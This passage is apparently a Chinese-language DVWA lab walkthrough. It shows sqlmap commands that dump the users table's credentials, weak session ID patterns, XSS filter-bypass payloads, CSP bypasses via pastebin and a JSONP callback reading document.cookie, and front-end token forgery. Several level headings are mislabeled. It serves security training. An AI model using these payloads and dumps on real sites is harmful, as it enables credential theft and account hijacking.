sqlmap -u "http://192.168.101.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=ebab42egj14s9hhibs2qjctelq; security=low" --tables -D "dvwa"

爆出了dvwa数据库包含的表,然后我们来看一下users表里面的列名

sqlmap -u "http://192.168.101.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=ebab42egj14s9hhibs2qjctelq; security=low" --dump -T "users" -D "dvwa"

再来查看字段user和password中的数据

sqlmap -u "http://192.168.101.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=ebab42egj14s9hhibs2qjctelq; security=low" --dump -T "users" -D "dvwa" -C "user,password"

Impossible

还是同样的方法,举一反三,这里我就不演示了。

Hight

$id = $_COOKIE[ 'id' ];

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

这里是从 Cookie 中获取 id 然后倒入到数据库中查询的,那么知道注入点之后依然可以使用 sqlmap 来进行注入:

sqlmap -u "http://192.168.101.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="id=1; PHPSESSID=ebab42egj14s9hhibs2qjctelq; security=medium" --dump -T "users" -D "dvwa" -C "user,password"

Impossible

和上面的关卡一样,CSRF、检测 id 是否是数字、prepare 预编译语来防止 SQL 注入。

Weak Session IDs 脆弱的 Session

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带session去访问。sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。

Session利用的实质 :

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等。

Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

Low

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}

可以看到 Session 的规律是

$_SESSION['last_session_id']++;

很容易发现 dvwaSession 的值每次生成就 +1 ,这样很容易被恶意用户去遍历 dvwaSession 来获取用户信息的。

Impossible

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}

根据 time() 时间戳来生成作为 dvwaSession 的值,时间戳实际上也是有规律的,也有猜出的可能,谷歌一下可以找到不少在线时间戳的生成转换工具:时间戳(Unix timestamp)转换工具 - 在线工具

Hight

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

和 Low 级别类似,只是多了一个 MD5编码

Impossible

下面来看一下Impossible的防护方案吧:

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}

这次使用随机数+时间戳+固定字符串("Impossible")进行 sha1 运算,作为 session Id,完全就不能猜测到。

XSS (Reflected) 反射型跨站脚本

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。
存储型(持久型):攻击者将恶意代码注入到Web服务器中并保存起来,只要客户端访问了相应的页面就会受到攻击。

Low

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

可以看看到对name变量没有任何的过滤措施,只是单纯的检测了name变量存在并且不为空就直接输出到了网页中。

<script>alert('XSS')</script>

Impossible

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

只是简单的过滤了<script>标签,可以使用其他的标签绕过,这里因为正则匹配的规则问题,检测到敏感字符就将替换为空(即删除),也可以使用嵌套构造和大小写转换来绕过。

使用其他的标签,通过事件来弹窗,这里有很多就不一一列举了:

<img src=x onerror=alert('XSS')>

因为过滤规则的缺陷,这里可以使用嵌套构造来绕过:

<s<script>cript>alert('XSS')</script>

因为正则匹配没有不区分大小写,所以这里通过大小写转换也是可以成功绕过的:

<Script>alert('XSS')</script>

Hight

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

这里的正则过滤更加完善了些,不区分大小写,并且使用了通配符去匹配,导致嵌套构造的方法也不能成功,但是还有其他很多标签来达到弹窗的效果:

<img src=x onerror=alert('XSS')>

Impossible

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

name变量通过htmlspecialchars()函数被HTML实体化后输出在了<pre>标签中,目前来说没有什么的姿势可以绕过,如果这个输出在一些标签内的话,还是可以尝试绕过的。

XSS (DOM) DOM型跨站脚本

Low

<?php

# No protections, anything goes

?>

php是没用任何防护的,页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>

查看源代码,可以看到,脚本插入到代码中,所以执行了

Impossible

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

default变量进行了过滤,通过stripos() 函数查找<script字符串在default变量值中第一次出现的位置(不区分大小写),如果匹配搭配的话手动通过location将URL后面的参数修正为?default=English,同样这里可以通过其他的标签搭配事件来达到弹窗的效果。

闭合</option></select>,然后使用img标签通过事件来弹窗

?default=English</option></select><img src=x onerror=alert('XSS')>

直接利用input的事件来弹窗

?default=English<input onclick=alert('XSS') />

Hight

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

使用了白名单模式,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ,这里只是对 default 的变量进行了过滤。

可以使用&连接另一个自定义变量来Bypass

?default=English&a=</option></select><img src=x onerror=alert('XSS')>
?default=English&a=<input onclick=alert('XSS') />

也可以使用#来Bypass

?default=English#</option></select><img src=x onerror=alert('XSS')>
?default=English#<input onclick=alert('XSS') />

Impossible

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
    $decodeURI = "";
}

Impossible 级别直接不对我们的输入参数进行 URL 解码了,这样会导致标签失效,从而无法XSS

XSS (Stored) 存储型跨站脚本

Low

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>
Name: XSS
Message: <script>alert('XSS')</script>

可以看到我们直接插入到了数据库中了:

trim

语法

trim(string,charlist)

细节

移除string字符两侧的预定义字符。

参数描述
string必需。规定要检查的字符串。
charlist可选。规定从字符串中删除哪些字符

charlist如果被省略,则移除以下所有字符:

符合解释
\0NULL
\t制表符
\n换行
\x0B垂直制表符
\r回车
空格

stripslashes

语法

stripslashes(string)

细节

去除掉string字符的反斜杠\,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。

mysql_real_escape_string

语法

mysql_real_escape_string(string,connection)

细节

转义 SQL 语句中使用的字符串中的特殊字符。

参数描述
string必需。规定要转义的字符串。
connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

以上这些函数都只是对数据库进行了防护,却没有考虑到对XSS进行过滤,所以依然可以正常的来XSS

Impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>
Name: <img src=x onerror=alert('XSS')>
Message: XSS

因为name过滤规则的缺陷,同样使用嵌套构造大小写转换也是可以绕过的:

Name: <Script>alert('XSS')</script>
Message: XSS

Name: <s<script>cript>alert('XSS')</script>
Message: XSS

addslashes

语法

addslashes(string)

细节

返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

strip_tags

语法

strip_tags(string,allow)

细节

剥去字符串中的 HTML、XML 以及 PHP 的标签。

参数描述
string必需。规定要检查的字符串。
allow可选。规定允许的标签。这些标签不会被删除。

htmlspecialchars

语法

htmlspecialchars(string,flags,character-set,double_encode)

细节

把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • “ (双引号)成为 "
  • ‘ (单引号)成为
  • < (小于)成为 <
  • \> (大于)成为 >

message 变量几乎把所有的XSS都给过滤了,但是name变量只是过滤了`标签而已,我们依然可以在name`参数尝试使用其他的标签配合事件来触发弹窗。

name的input输入文本框限制了长度:

<input name="txtName" size="30" maxlength="10" type="text">

审查元素手动将maxlength的值调大一点就可以了。

<input name="txtName" size="50" maxlength="50" type="text">

Hight

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

message变量依然是没有什么希望,重点分析下name变量,发现仅仅使用了如下规则来过滤,所以依然可以使用其他的标签来绕过:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
Name: <img src=x onerror=alert('XSS')>
Message: XSS

Impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

messagename变量都进行了严格的过滤,而且还检测了用户的token:

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

有效地防止了CSRF的攻击

Content Security Policy Bypass

CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

Low

<?php
// 允许 self, pastebin.com, jquery and google analytics 的 js
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; 

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    // 直接将 include 内容包含进 script 的 src 标签里面
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';
?>

从代码中可以看出白名单的网址如下:

self
https://pastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com

其中 pastebin.com 是一个快速分享文本内容的网站,可以在这里面插入 XSS 攻击语句:

alert('Hack');

将网址 https://pastebin.com/raw/0Bbn0e5f填写到文本框中 然后点击 include 即可将这个文件包含进来,从而触发 XSS

Impossible

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// 关掉 XSS 防护 让 alert 可以顺利执行
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}

这里使用了 nonce 阮一峰博客里面这么说明的 script-src还可以设置一些特殊值。

  • unsafe-inline:允许执行页面内嵌的<script>标签和事件监听函数
  • unsafe-eval:允许将字符串当作代码执行,比如使用evalsetTimeoutsetIntervalFunction等函数。
  • nonce:每次HTTP回应给出一个授权 token,页面内嵌脚本必须有这个 token,才会执行
  • hash:列出允许执行的脚本代码的 Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

这一个关卡使用来了 unsafe-inline 和 nonce ,所以页面内嵌脚本,必须有这个token才能执行:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('Hack')</script>

Hight

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}

可以看到 CSP 规则这里十分苛刻,只能引用允许self 的脚本执行,self是指本页面加载的脚本。接着看页面提示:

进看一下这个 jsonp.php 文件看看:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
    $callback = $_GET['callback'];
} else {
    return "";
}

$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>

点击 Solve the sum 计算按截取到的数据包如下:

看元素追踪到 high.js 文件:

/csp/source/high.js
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

首先审查元素拿到关键代码:

<form name="csp" method="POST">
    <p>The page makes a call to ../..//vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>

id=”solve” 对应下面的 JS 代码:

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

然后触发 clickButton() 函数:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

这个函数会创建一个 script 标签,内容如下:

<script src="http://127.0.0.1/dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>

这个时候浏览器就会发起如下请求:

http://127.0.0.1/dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum

访问这个 jsonp.php 会得到如下请求:

solveSum({"answer":"15"})

然后就会调用 JS 的 solveSum 函数:

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

将结果输出到 网页当中,完整的流程是这样,比较繁琐和复杂。

这个时候如果将 callback 参数换成:

jsonp.php?callback=alert('Hack')

此时 JS 调用执行的话就会触发弹窗。

$page[ 'body' ] .= "
    " . $_POST['include'] . "
";

POST 提交的 include 参数直接放到了 body 源码中,可以自己改造 include 来进行弹窗:

include=<script src=source/jsonp.php?callback=alert(document.cookie)></script>

Impossible

这里主要是下面文件发生了改动:jsonp_impossible.php

<?php
header("Content-Type: application/json; charset=UTF-8");

$outp = array ("answer" => "15");

echo "solveSum (".json_encode($outp).")";
?>

这里指定了只能输出 solveSum:

echo "solveSum (".json_encode($outp).")";

这意味着只能回调 JS 里面的 solveSum 函数:

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

不过在实际的生产环境中,这种 JSONP 写死的还是比较少见的。

JavaScript Attacks JS 攻击

Low

Low.php

<?php
$page['body'] .= <<<EOF
<script>
 
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
 
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
 
    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }
 
    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }
 
    generate_token();
</script>
EOF;
?>

中间那一大团使用了 md5 加密生成了 token, 可以打开控制台(F12)查看,token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值。

直接注入 “success”,网页显示 token 无效,说明我们不能够直接注入。

抓包查看,请求网页时同时提交了 token 和 phrase 参数,其中 phrase 参数是我们提交的内容。而 token 参数无论我们提交什么,都是不会变的,也就是说 token 和我们注入的参数并不会匹配。

再查看 index.php 的源码:

$message = "";
// Check whwat was sent in to see if it was what was expected
if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (array_key_exists ("phrase", $_POST) && array_key_exists ("token", $_POST)) {

        $phrase = $_POST['phrase'];
        $token = $_POST['token'];

        if ($phrase == "success") {
            switch( $_COOKIE[ 'security' ] ) {
                case 'low':
                    if ($token == md5(str_rot13("success"))) {
                        $message = "<p style='color:red'>Well done!</p>";
                    } else {
                        $message = "<p>Invalid token.</p>";
                    }

$phrase$token 均从用户的 POST 方式获取,然后如果 if ($phrase == "success") 且 token 正确的话,就输出 Well done! 成功

生成的这个 Token 实际上

md5(rot13(ChangeMe))

然后写入到 form 表单中:

<form name="low_js" method="post">
        <input type="hidden" name="token" value="8b479aefbd90795395b3e7089ae0dc09" id="token">
        <label for="phrase">Phrase</label> <input type="text" name="phrase" value="ChangeMe" id="phrase">
        <input type="submit" id="send" name="send" value="Submit">
</form>

当我们提交这个表单,token 和 phrase 就会提交,但是这里的 token 是错误的,所以这里我们得把 ChangeMe 换成 success 才可以 拿到正确的 token

所以你在输入框中输入 success 之后,然后在控制台在调用 generate_token() 函数。

直接在 console 里面输入:

generate_token()

Impossible

medium.php 源码如下:

<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/medium.js"></script>
EOF;
?>

跟进 medium.js

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
setTimeout(function () {
    do_elsesomething("XX")
}, 300);

function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

这里比较容易理解,将 phrase 逆序输出,然后在前后分别添加 XX 作为规律,默认的 ChangeMe 的 token 如下:

<input type="hidden" name="token" value="XXeMegnahCXX" id="token">

所以当我们输入 success 的话,对应的 token 应该就是 XXsseccusXX

直接通过提交看看:

token=XXsseccusXX&phrase=success&send=Submit

High

high.php 源码如下:

<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>

